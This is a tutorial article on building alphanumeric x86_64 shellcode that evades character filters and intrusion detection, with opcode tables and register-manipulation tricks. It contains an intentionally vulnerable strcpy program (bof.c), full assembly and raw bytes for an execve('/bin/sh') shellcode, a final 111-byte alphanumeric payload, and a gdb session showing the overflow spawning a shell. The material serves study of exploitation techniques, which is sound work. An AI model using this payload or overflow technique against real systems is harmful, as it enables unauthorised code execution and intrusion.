Alphanumeric shellcode

Alphanumeric shellcode is similar to ascii shellcode in that it is used to bypass character filters and evade intrusion-detection during buffer overflow exploitation.

This article documents alphanumeric code on multiple architectures, but primarily the **64 bit** x86 architecture.

Alphanumeric shellcode requires a basic understanding of bitwise math, assembly and shellcode.

Contents

Available x86_64 instructions

This chart contains **64-bit** alphanumeric opcodes. 32-bit alphanumeric opcodes are available at the 32-bit ascii shellcode entry. When limited only to instructions that have corresponding ascii characters; programmers must emulate other required instructions using only the instructions available.

Numeric

ASCII	Hex	Assembler Instruction
0	0x30	xor %{16bit}, (%{64bit})
1	0x31	xor %{32bit}, (%{64bit})
2	0x32	xor (%{64bit}), %{16bit}
3	0x33	xor (%{64bit}), %{32bit}
4	0x34	xor [byte], %al
5	0x35	xor [dword], %eax
6	0x36	%ss segment register
7	0x37	Bad Instruction!
8	0x38	cmp %{16bit}, (%{64bit})
9	0x39	cmp %{32bit}, (%{64bit})

Uppercase

ASCII	Hex	Assembler Instruction
A	0x41	64 bit reserved prefix
B	0x42	64 bit reserved prefix
C	0x43	64 bit reserved prefix
D	0x44	64 bit reserved prefix
E	0x45	64 bit reserved prefix
F	0x46	64 bit reserved prefix
G	0x47	64 bit reserved prefix
H	0x48	64 bit reserved prefix
I	0x49	64 bit reserved prefix
J	0x4a	64 bit reserved prefix
K	0x4b	64 bit reserved prefix
L	0x4c	64 bit reserved prefix
M	0x4d	64 bit reserved prefix
N	0x4e	64 bit reserved prefix
O	0x4f	64 bit reserved prefix
P	0x50	push %rax
Q	0x51	push %rcx
R	0x52	push %rdx
S	0x53	push %rbx
T	0x54	push %rsp
U	0x55	push %rbp
V	0x56	push %rsi

W	0x57	push %rdi
X	0x58	pop %rax
Y	0x59	pop %rcx
Z	0x5a	pop %rdx

Lowercase

ASCII	Hex	Assembler Instruction
a	0x61	Bad Instruction!
b	0x62	Bad Instruction!
c	0x63	movslq (%{64bit}), %{32bit}
d	0x64	%fs segment register
e	0x65	%gs segment register
f	0x66	16 bit operand override
g	0x67	16 bit ptr override
h	0x68	push [dword]
i	0x69	imul [dword], (%{64bit}), %{32bit}
j	0x6a	push [byte]
k	0x6b	imul [byte], (%{64bit}), %{32bit}
l	0x6c	insb (%dx),%es:(%rdi)
m	0x6d	insl (%dx),%es:(%rdi)
n	0x6e	outsb %ds:(%rsi),(%dx)
o	0x6f	outsl %ds:(%rsi),(%dx)
p	0x70	jo [byte]
q	0x71	jno [byte]
r	0x72	jb [byte]
s	0x73	jae [byte]
t	0x74	je [byte]
u	0x75	jne [byte]
v	0x76	jbe [byte]
w	0x77	ja [byte]
x	0x78	js [byte]
y	0x79	jns [byte]
z	0x7a	jp [byte]

Alphanumeric opcode compatibility

Intercompatible opcodes are important to note due to the fact that many opcodes overlap and thus, writing shellcode that will run on both 32 bit and 64 bit x86 platforms becomes possible.

Alphanumeric inter-compatible x86 opcodes

This chart was derived by cross referencing available 64 bit instructions with available 32 bit instructions.

Intercompatible x86* Alphanumeric Opcodes

Hex	ASCII	Assembler Instruction
0x64, 0x65	d,e	[fs | gs] prefix
0x66, 0x67	f,g	16bit [operand | ptr] override
0x68, 0x6a	h,j	push
0x69, 0x6b	i,k	imul
0x6c-0x6f	l-o	ins[bwd], outs[bwd]
0x70-0x7a	p-z	Conditional Jumps
0x30-0x35	0-5	xor
0x36	6	%ss segment register
0x38-0x39	8,9	cmp
0x50-0x57	P-W	push *x, *i, *p
0x58-0x5a	XYZ	pop [*ax, *cx, *dx]

Because not *all* opcodes are intercompatible, yet comparisons and conditional jumps *are* intercompatible, it is possible to determine the architecture of an x86 processor using exclusively alphanumeric opcodes. The opcodes which are specifically not compatible are limited to the 64 bit special prefixes **0x40-0x4f**, which allow for manipulation of 64 bit registers and 8 additional 64 bit general purpose registers, **%r8-%r15**. By making use of these additional registers (which 32 bit processors do not have), one can perform an operation that will set a value on a different register in the two processors. Following this, a conditional statement can be made against one of the two registers to determine if the value was set. Using the **pop** instruction is the most effective way to set the value of a register due to instructional limitations. Using an alternative register to %rsp or %esp as the stack pointer enables the use of an effective conditional statement to determine if the value of a register is equal to the most recent thing pushed or popped from the stack.

15 byte architecture detection shellcode

This bytecode does not have a conditional jump. The reader may add this for customization based on the size and architecture of the payload that occurs after this snippet.

This simple alphanumeric bytecode is 15 bytes long, ending in a comparison which returns **equal** on a 32 bit system and **not equal** on a 64 bit system. The conditional jump may be best reserved for the **t** and **u** instructions, **jump if equal** and **jump if not equal**, respectively.

- Assembled:

```
TX4HPZTAZAYVH92
```

- Disassembly:

```
[root@ares bha]# objdump -d xarch32.o

xarch32.o:     file format elf32-i386

Disassembly of section .text:
00000000 <_start>:
   0:   54                      push   %esp
   1:   58                      pop    %eax
```

```
   2:   34 48                   xor    $0x48,%al
   4:   50                      push   %eax
   5:   5a                      pop    %edx
   6:   54                      push   %esp
   7:   41                      inc    %ecx
   8:   5a                      pop    %edx
   9:   41                      inc    %ecx
   a:   59                      pop    %ecx
   b:   56                      push   %esi
   c:   48                      dec    %eax
   d:   39 32                   cmp    %esi,(%edx)
[root@ares bha]# # Returns not-equal on a 64 bit system:
[root@ares bha]# objdump -d xarch64.o

xarch64.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <_start>:
   0:   54                      push   %rsp
   1:   58                      pop    %rax
   2:   34 48                   xor    $0x48,%al
   4:   50                      push   %rax
   5:   5a                      pop    %rdx
   6:   54                      push   %rsp
   7:   41 5a                   pop    %r10
   9:   41 59                   pop    %r9
   b:   56                      push   %rsi
   c:   48 39 32                cmp    %rsi,(%rdx)
```

On a 64-bit system, this will not cause a segfault because (%rdx) points to somewhere inside the stack. Also notice that while this was assembled as a Linux-based ELF executable, the Operating System should not matter, as this stays within the confines of legal instructions for any x86 CPU that should not cause an access violation.

Alphanumeric x86_64 register value and data manipulation

Given the limited set of instructions for alphanumeric shellcode, its important to note different methods to manipulate different registers within the confines of the limited instruction set. Identifying these leads to **mov emulations**, which make up most of the actual code.

Push: alphanumeric x86_64 registers

Alphanumeric data can be pushed in one-byte, two-byte, and four-byte quantities at once.

One-byte, two-byte, and four-byte quantities

Assembly	Hexadecimal	Alphanumeric ASCII
pushw [word]	\x66\x68\x##\x##	fh??
pushq [byte]	\x6a\x##	j?
pushq [dword]	\x68\x##\x##\x##\x##	h????

Pushing the 64 bit registers RAX-RDI is done using a single upper case P-W (\x50-\x57) dependent on which register is being pushed. Prefixing with "A" (for general registers R8-R15) or "f" for 16 bit registers (AX-DI) gives access to push 32 registers using alphanumeric shellcode.

Push: X86_64 Extended Registers

Assembly	Hexadecimal	Alphanumeric ASCII
push %rax	\x50	P
push %rcx	\x51	Q
push %rdx	\x52	R
push %rbx	\x53	S
push %rsp	\x54	T
push %rbp	\x55	U
push %rsi	\x56	V
push %rdi	\x57	W

For the general registers R8-R15 "A" is prefixed to the corresponding RAX-RDI register push.

Push: X86_64 General Registers

Assembly	Hexadecimal	Alphanumeric ASCII
push %r8	\x41\x50	AP
push %r9	\x41\x51	AQ
push %r10	\x41\x52	AR
push %r11	\x41\x53	AS
push %r12	\x41\x54	AT
push %r13	\x41\x55	AU
push %r14	\x41\x56	AV
push %r15	\x41\x57	AW

For the 16 bit registers AX-DI "f" is prefixed to the corresponding RAX-RDI register push.

Push: X86_64 16 bit Registers

Assembly	Hexadecimal	Alphanumeric ASCII
push %ax	\x66\x50	fP
push %cx	\x66\x51	fQ
push %dx	\x66\x52	fR
push %bx	\x66\x53	fS
push %sp	\x66\x54	fT

push %bp	\x66\x55	fU
push %si	\x66\x56	fV
push %di	\x66\x57	fW

For the 16 bit general registers R8B-R15b "f" is prefixed to the corresponding R8-R15 register push.

Push: X86_64 16 bit General Registers

Assembly	Hexadecimal	Alphanumeric ASCII
push %r8w	\x66\x41\x50	fAP
push %r9w	\x66\x41\x51	fAQ
push %r10w	\x66\x41\x52	fAR
push %r11w	\x66\x41\x53	fAS
push %r12w	\x66\x41\x54	fAT
push %r13w	\x66\x41\x55	fAU
push %r14w	\x66\x41\x56	fAV
push %r15w	\x66\x41\x57	fAW

Pop: alphanumeric x86_64 registers

Pop is more limited in its range of usable registers due to the limitations of alphanumeric shellcode. This is limited to RAX, RCX, and RAX. As with push, the extended register shellcode is prefixed to access 16 bit and general registers. This gives the ability to pop a total of 12 (6 full size and 6 16 bit) registers able to be pop(ed).

Pop: X86_64 Extended Registers

Assembly	Hexadecimal	Alphanumeric ASCII
pop %rax	\x58	X
pop %rcx	\x59	Y
pop %rax	\x5a	Z

For general registers, RAX-RCX are prefixed with "A" for the corresponding R8-R10 pop.

Pop: X86_64 General Registers

Assembly	Hexadecimal	Alphanumeric ASCII
pop %r8	\x41\x58	AX
pop %r9	\x41\x59	AY
pop %r10	\x41\x5a	AZ

16 bit registers (using 0x66 or 'f' [sometimes fA] prefix):

Assembly	Hexadecimal	Alphanumeric ASCII
pop %ax	\x66\x58	fX
pop %cx	\x66\x59	fY
pop %dx	\x66\x5a	fZ
pop *%r8w	\x66\x41\x58	fAX
pop *%r9w	\x66\x41\x59	fAY
pop *%r10w	\x66\x41\x5a	fAZ

Using push and pop the values of 6 fullsize CPU registers can be set:

- %rax
- %rcx
- %rdx
- %r8
- %r9
- %r8

Or get any values of 16 fullsize CPU registers to the top of the stack:

- %r8-%r15
- %rax-%rdi

Prefixes

Examining this next section, there are 5 main registers, and 5 special 64 bit registers that can be push(ed), but not pop(ed):

- %rbx
- %rsp
- %rbp
- %rsi
- %rdi

This can be written using alphanumeric bytecode instructions and operands only through the use of any of the 6 full control registers by emulating for mov with push and pop. Using only the registers already accessed, an attempt will be made to get instructions for to set values.

The special register prefix has been identified:

```
0x41, 'A'
```

The word operand override has been identified,

```
0x66, 'f'.
```

Note the identification of all the alphanumeric overrides and prefixes. These overrides are very similar to those for 32 bit platforms.

Hex Value	Alpha Value	Description
0x36	6	%ss segment override
0x64	d	%fs segment override
0x65	e	%gs segment override
0x66	f	16-bit operand size
0x67	g	16-bit address size
0x41	A	64-bit special register use (%r##)
0x48	H	64-bit register size override
0x40-4f	B-P	Special 64-bit overrides

Operands

Opcodes used for popping a register can also be used as 'register operands' for more advanced instructions. For example, take this xor instruction:

Assembly	Hexadecimal	Alpha
xor $0x[byte](%rax),%ebx	\x33\x58\x##	3X?

The %rax register can be changed to %rcx or %rdx using the 0x59 (Y) and 0x5a (Z) opcodes in place of the 0x58 (X) opcode:

Assembly	Hexadecimal	Alpha
xor $0x[byte](%rcx),%ebx	\x33\x59\x##	3Y?

Whenever there's a controllable register, the notation {reg} is used to recognize it as an option. In the bytecodes and string examples, a '?' is used in the bytecode itself and a '*' to denote the register operand, for example:

Assembly	Hexadecimal	Alpha
xor $0x[byte]({reg}),%ebx	\x33\x??\x##	3*?

The opcodes for **%rax**, **%rcx**, and **%rdx** are important and thus will be used frequently. When encountering multiple operands, the operand number is used in the notation for readability purposes.

The rbx, rsp, and rbp registers

Identifying the ways to set the rest of the registers while investigating %rbx was not entirely fruitful. Full control over the %rbx register is not available, however, write access to its sub-registers is available:

- %ebx
- %bx
- %bh
- %bl

Apon further investigation, this opened up access to multiple additional registers using:

- Xor
- Imul
- Movslq

Assembly	Hexadecimal	Alpha
xor $0x[byte]({reg64}),{reg32}	\x33\x??\x#1	3*1
imul $0x[dword1],0x[byte2]({reg64}),{reg32}	\x69\x??\x#2\x#1\x#1\x#1\x#1	i*21111
imul $0x[byte1],0x[byte2]({reg64}), {reg32}	\x6b\x??\x#2\x#1	k*21
movslq 0x[byte1]({reg64}), {reg32}	\x63\x??\x#1	c*1

To access the %ss segment, insert the prefix at the beginning of the bytecode of instructions (e.g. "63*?" instead of "3*?"). If preferred to use the special 64 bit registers, 0x41 or "A" is placed at the beginning of the bytecode. If the use of both is required, the %ss segment register prefix first, e.g. '6A3*?' must always be used. When using one of the 64 bit force operators, one can use any of those instructions on a 32 bit register with an override to treat it as its 64-bit counterpart (in this case, 0x48).

Assembly	Hexadecimal	Alpha
imul $0x[byte1],0x[byte2]({reg64}),{reg64}	\x48\x6b\x??\x#2\x#1	Hk*21

To set the value of %rbx directly, imul, xor, and movslq can be used. It's similar for other registers:

- %rbp
- %rsp

Xor

Left over are %rsp, %rbp, %rdi, and %rsi. Taking a closer look at xor, at 0x30 and ending at 0x35 are these valuable xor commands:

Hexadecimal	Assembly
0x34	xor $0x##, %al
0x35	xor $0x########, %eax
0x48 0x35	xor $0x########, %rax

0x30 is a multi-byte xor instruction. Requiring at least two operands (even if register denote):

Hexadecimal	Assembly
0x30	xor %{16bit}, (%{64bit})
	xor %{16bit}, (%{64bit},%{64bit},1)
	xor %{16bit}, (%{64bit},%{64bit},2)
	xor %{16bit}, 0x[byte](%{64bit})
	xor %{16bit}, 0x[byte](,%{64bit},1)
	xor %{16bit}, 0x[byte](,%{64bit},2)
	xor %{16bit}, 0x[dword](%{64bit})
	xor %{16bit}, 0x[dword](,%{64bit},1)
	xor %{16bit}, 0x[dword](,%{64bit},2)

0x31 is as flexible as **0x30**. Not all permutations are included for brevity.

Hexadecimal	Assembly
0x31	xor %{32bit}, (%{64bit})

0x32 is just as flexible, although the offsets will change source side rather than destination side. Not all permutations are included for brevity.

Hexadecimal	Assembly

0x32	`xor (%{64bit}), %{16bit}`

0x33 is the opposite of 0x31 and as flexible. Not all permutations are included for brevity.

Hexadecimal	Assembly
0x33	`xor (%{64bit}), %{32bit}`

The rsi and rdi registers

Combining the knowledge of xor with the knowledge of the stack. When any data is pushed, the data is accessible at %ss:(%rsp). Knowing this, another register can be used in the available space (e.g. %rcx) to set values on some of the more difficult registers:

- %rbx
- %rsp
- %rbp
- %rsi
- %rdi

First, utilise push and pop to simulate 'mov':

```
push %rsp; \x54
pop  %rcx; \x59
pop  %rax; \x5a (This just sets the pointer back)
```

Two XOR parameters allow index registers to be set, %rsi and %rdi. For now, they will be zero'd out:

```
push %rsi;             \x56
xor %ss:(%rcx), %rsi;  \x36\x48\x33\x31
pop %r8;               \x41\x58
push %rdi;             \x57
xor %ss:(%rcx), %rdi;  \x36\x48\x33\x39
pop %r8
```

Now %rsi and %rdi have been zero'd out. %r14 and %r15 special registers can also be pushed and zeroed out in this fashion. Now "full control" is gained over:

- %rax
- %rcx
- %rdx
- %rsi
- %rdi
- %r8
- %r9
- %r10
- %r14
- %r15

So far, in this sample, full control has not been utilized over:

- %rsp
- %rbp
- %rbx
- %r11
- %r12
- %r13

Similar to push, controllable data is required before the setting of a register. Where pop is concerned, something might be required to be pushed to the stack first, in this case, only the zero register is required. Due to the way that XOR works, once a zero is registered at all, in this case %rax is used as the zero register, it can be used to get %rbx, %rsp, and %rbp to zero if needed:

To get %rbx:

```
xor %ss:0x30(%rcx), %rax;       store that value in rax
xor %rax, %ss:0x30(%rcx);       Null that area of stack
imul $0x30,%ss:0x30(%rax),%rbx; 0x30 * 0 = 0
imul $0x30,%ss:0x30(%rax),%rbp; 0x30 * 0 = 0
```

Once the stack space, as well as the destination is set to zero, %rax, %rbp can effectively be mov(ed):

```
xor     %rax,%ss:0x30(%rcx); 36 48 31 41 30
xor     %ss:0x30(%rcx),%rbp; 36 48 33 69 30
```

The closest thing to incrementing and decrementing is the ability to use the ins and outs instructions to add or subtract 1,2, or 4 against the %rdi register. This still leaves no significant add or sub. Imul can be used with 16 and 8 bit registers to find division.
If %rsi or %rdi are not in use, there is also a magic mov :

```
movslq %ss:0x30(%rcx), %rsi
xor %rsi, %ss:0x30(%rsi)
```

This can come in quite handy when chunking large pieces of data to 0.

Example: Zeroing Out x86_64 CPU Registers

First %rsp is pushed to the top of the stack and the pointer address is popped into in %rcx, the third pop is to ensure that the pointer address matches what is now in %rcx.

```
        push %rsp
        pop %rcx
        pop %r8
```

The following push overwrites %ss:(%rcx) with the contents of %rsi, the xor zeros out %rsi by xoring itself, and %rsp is then set back to %rcx using pop.

```
        push %rsi
        xor %ss:(%rcx), %rsi
        pop %r8
```

Again using the same form, %ss:(%rcx) is overwritten, %rdi is zeroed out using xor, and %rsp is reset to %rcx.

```
        push %rdi
        xor %ss:(%rcx), %rdi
        pop %r8
```

Zeroing out RDX is much simpler.

```
        push %rdi
        pop %rdx
```

The following push and pop sets %rax to 0x30. %al is the lowest order 8 bit subregister of %rax. Since 0x30 resides in %al, the xor effectively zeroes out $rax.

```
        push $0x30
        pop %rax
        xor $0x30, %al
```

For %rbx and %rbp we xor %ss:0x30(%rcx), which is first zeroed out, against each register and then xor the register against %ss:0x30(%rcx), which results in each register being zeroed out.

Zero out the %ss:0x30(%rcx) stack segment.

```
        xor %ss:0x30(%rcx), %rax
        xor %rax, %ss:0x30(%rcx)
```

xor %rbx into the stack segment and then xor it against rbx to zero.

```
        xor %rbx, %ss:0x30(%rcx)
        xor %ss:0x30(%rcx), %rbx
```

Rezero the stack segment with %rax.

```
        push %rdx
        pop %rax
        xor %ss:0x30(%rcx), %rax
        xor %rax, %ss:0x30(%rcx)
```

As before, xor %rbp into the stack segment and then xor it against rbp to zero.

```
        xor %rbp, %ss:0x30(%rcx)
        xor %ss:0x30(%rcx), %rbp
```

64 bit shellcode: Conversion to alphanumeric code

- Because of the limited instruction set, the conversion requires many **mov emulations** via **xor**, **mul**, **movslq**, **push**, and **pop**.

bof.c

> This is a modified version of bof.c to allow for 200 bytes because the length of the final shellcode exceeds 100 bytes.

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]){
        char buffer[200];
        strcpy(buffer,  argv[1]);
        return 0;
}
```

Starting shellcode (64-bit execve /bin/sh)

> This was converted to shellcode from the example in 64 bit linux assembly

- execve('/bin/sh');

```
.section .data
.section .text
.globl _start
_start:

 # a function is f(%rdi, %rsi, %rdx, %rcx, %r8, %r9).
 # Use zeroed memory to zero out %rsi, %rdi, %rdx
 xor %rdi, %rdi
 push %rdi
 push %rdi
 pop %rsi
 pop %rdx

 # Store '/bin/sh\0' in %rdi
 movq $0x68732f6e69622f6a, %rdi
 shr $0x8,%rdi
 push %rdi
 push %rsp
 pop %rdi
 push $0x3b
 pop %rax
 syscall                                # execve('/bin/sh', null, null)
                                        # function no. is 59/0x3b - execve()
```

- execve('/bin/sh')

```
"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
```

Shellcode Analysis

Immediately before the syscall:

- %rax is set to 0x3b
- %rdi is a pointer to '/bin/sh\0'
- %rsi and %rdx are null

To reproduce this, because the syscall is binary, it must be written to a location that will eventually be executed ahead of currently executing code. The **xor** and **imul** instructions can then be used to set values on registers.

Stack Analysis

> These buffer dumps have been shortened for brevity and readability.

```
[root@ares bha]# gdb -q ./bof
Reading symbols from /home/hatter/bha/bof...(no debugging symbols found)...done.
(gdb)  r $(perl -e 'print "A"x232;')
Starting program: /home/hatter/bha/bof $(perl -e 'print "A"x232;')
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400525 in main ()
(gdb) x/500x $rsp
 0x7fffffffe3c8: 0x41414141      0x41414141      0x41414141      0x41414141
 0x7fffffffe3d8: 0xffffe400      0x00007fff      0x00000000      0x00000002
 ..........................
 0x7fffffffe708: 0x2f656d6f      0x68726f76      0x2f736565      0x2f616862
 0x7fffffffe718: 0x00666f62      0x41414141      0x41414141      0x41414141
 0x7fffffffe728: 0x41414141      0x41414141      0x41414141      0x41414141
```

- The formula to determine the offset to begin overwriting data from the stack pointer is **(return address + shellcode length) - %rsp**.

Operation	Value	Comments
	0x7fffffffe726	return address
+	0x71	shellcode length (113 characters)
-	0x7fffffffe3c8	%rsp
=	**0x3cf**	**Calculated Offset from %rsp at time of overflow**

The Offset

- To prepare for **xor** and **imul** manipulations, 0x5a is placed into %rax and %rsp is moved into %rcx.

```
        # Set %rcx as stack pointer
        # and align %rsp
        push $0x5a
        push %rsp
        pop %rcx
        pop %rax
```

- Preparing for imul, an **xor** is used to place 0x0f into %rax, then push %rax to the stack.

```
        # Get magic offset and store in %rdi
        xor $0x55, %al
        push %rax                       # 0x0f on the stack now.
```

- Because 0x41 * 0x0f = 0x3cf (975), the offset can be calculated in purely alphanumeric form. Modify this as code distances itself from the stack pointer during an exploit. The offset is stored in %rdi after setting back the stack pointer.

```
        pop %rax                        # add back to %esp
        imul  $0x41, (%rcx), %edi       # %rdi = 0x3cf, a "magic offset" for us
```

The Syscall

- Now that the offset to an address in front of executing instructions has been obtained, 4 bytes must be nulled for the new instructions to be written:

```
        movslq (%rcx,%rdi,1), %rsi
        xor %esi, (%rcx,%rdi,1)
```

- This next xor comes out to 0x0000050f, which when moved onto the stack becomes 0x0f050000. 0x0f05 is the machine code for a **syscall**.

```
        push $0x3030474a
        pop %rax
        xor $0x30304245, %eax
```

- The %rax register now contains 0x050f. Put 0x0f050000 at (%rcx) - then set the stack pointer back.

```
        push %rax
        pop %rax                        # Garbage reg
```

- A **mov emulation** is used to mov 0x0f05 from (%rcx) to %rcx + %rdi through the %rsi register, writing the syscall instructions:

```
        movslq (%rcx), %rsi
        xor %esi, (%rcx,%rdi,1)
```

Arguments

Stack Space

- Zero out a **qword** of data starting at %rcx + 0x30 (48 in decimal)

```
        # Allocate stack space
        movslq 0x30(%rcx), %rsi
        xor %esi, 0x30(%rcx)
        movslq 0x34(%rcx), %rsi
        xor %esi, 0x34(%rcx)
```

Register Initialization

- The %rdx, %rdi, and %rsi registers are used for the **execve()** syscall. These are zeroed out to initialize their values using the stack space previously allocated.

```
        # Zero rdx, rsi, and rdi
        movslq 0x30(%rcx), %rdi
        movslq 0x30(%rcx), %rsi
        push %rdi
        pop %rdx
```

String Argument

- **/bin** is placed onto the stack at the space allocated at %rcx + 0x30.

```
        push $0x5a58555a
        pop %rax
        xor $0x34313775, %eax
        xor %eax, 0x30(%rcx)
```

- **/sh\0** is placed onto the stack at the space allocated at %rcx + 0x34.

```
        push $0x6a51475a
        pop %rax
        xor $0x6a393475, %eax
        xor %eax, 0x34(%rcx)
```

- **xor** is used as a **mov emulation** to place '/bin/sh\0' into %rdi.

```
        xor 0x30(%rcx), %rdi
```

- Set the stack pointer back so %rsp = %rcx + 8 so that the push of %rdi does not overwrite (%rcx). Push '/bin/sh\0'.

```
        pop %rax
        push %rdi
```

Final Registers

- %rsi and %rdx are **0**. First, push a byte to meet the sign requirement for **movslq**, then zero %rdi.

```
        push $0x58
        movslq (%rcx), %rdi
        xor (%rcx), %rdi
```

- Align %rsp and %rcx, then use a mov emulation to place %rsp into %rdi. %rdi then contains a pointer to '/bin/sh\0'.

```
        pop %rax
        push %rsp
        xor (%rcx), %rdi
```

- %rax is set to 59 or **0x3b** for the **execve()** syscall.

```
        xor $0x63, %al
```

Final registers:

- %rax = 0x3b
- %rdi = pointer to '/bin/sh\0'
- %rsi = null
- %rdx = null

Final Code

- x86_64 alphanumeric execve('/bin/sh',null,null) - 111 bytes:

```
jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c
```

Some assemblers prefer the '#' character to the ';' character for comments. User may have to find and replace to get it to assemble properly.

```
        .global _start
        .text
_start:
        ; Set %rcx as stack pointer
        ; and align %rsp
        push $0x5a
        push %rsp
        pop %rcx
        pop %rax

        ; Get magic offset and store in %rdi
        xor $0x55, %al
        push %rax                       ; 0x14 on the stack now.
        pop %rax                        ; add back to %esp
        imul  $0x41, (%rcx), %edi       ; %rdi = 0x3cf, a "magic offset" for us
                                        ; This is decimal value 975.
                                        ; If this is too low/high, suggest a
                                        ; modification to xor of %al for
                                        ; changing the imul results

        ; Write the syscall
        movslq (%rcx,%rdi,1), %rsi
        xor %esi, (%rcx,%rdi,1)         ; 4 bytes have been nulled
        push $0x3030474a
        pop %rax
        xor $0x30304245, %eax
        push %rax
        pop %rax                        ; Garbage reg
        movslq (%rcx), %rsi
        xor %esi, (%rcx,%rdi,1)

        ; Sycall written, set values now.
        ; allocate 8 bytes for '/bin/sh\0'
        movslq 0x30(%rcx), %rsi
        xor %esi, 0x30(%rcx)
        movslq 0x34(%rcx), %rsi
        xor %esi, 0x34(%rcx)

        ; Zero rdx, rsi, and rdi
        movslq 0x30(%rcx), %rdi
        movslq 0x30(%rcx), %rsi
        push %rdi
        pop %rdx

        ; Store '/bin/sh\0' in %rdi
        push $0x5a58555a
        pop %rax
        xor $0x34313775, %eax
        xor %eax, 0x30(%rcx)            ; '/bin'  just went onto the stack

        push $0x6a51475a
        pop %rax
        xor $0x6a393475, %eax
        xor %eax, 0x34(%rcx)            ; '/sh\0' just went onto the stack
        xor 0x30(%rcx), %rdi            ; %rdi now contains '/bin/sh\0'


        pop %rax
        push %rdi

        push $0x58
        movslq (%rcx), %rdi
        xor (%rcx), %rdi                ; %rdi zeroed
        pop %rax
        push %rsp
        xor (%rcx), %rdi
        xor $0x63, %al
```

Successful Overflow Test

This shellcode was tested on a modified bof.c to make the buffer 200 bytes in stead of 100 bytes, as the shellcode here exceeds the original buffer size.

```
[user@host bha]# gdb -q ./bof
Reading symbols from /home/hatter/bha/bof...(no debugging symbols found)...done.
(gdb) r `perl -e 'print  "jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c" . "Y"x105 . "\x26\xe7\xff\xff\xff\x7f";'`
Starting program: /home/hatter/bha/bof `perl -e 'print  "jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c" . "Y"x105 .
"\x26\xe7\xff\xff\xff\x7f";'`
process 28444 is executing new program: /bin/bash
[user@host bha]# uname -m
x86_64
[user@host bha]# exit
exit
[Inferior 1 (process 28444) exited normally]
(gdb)
```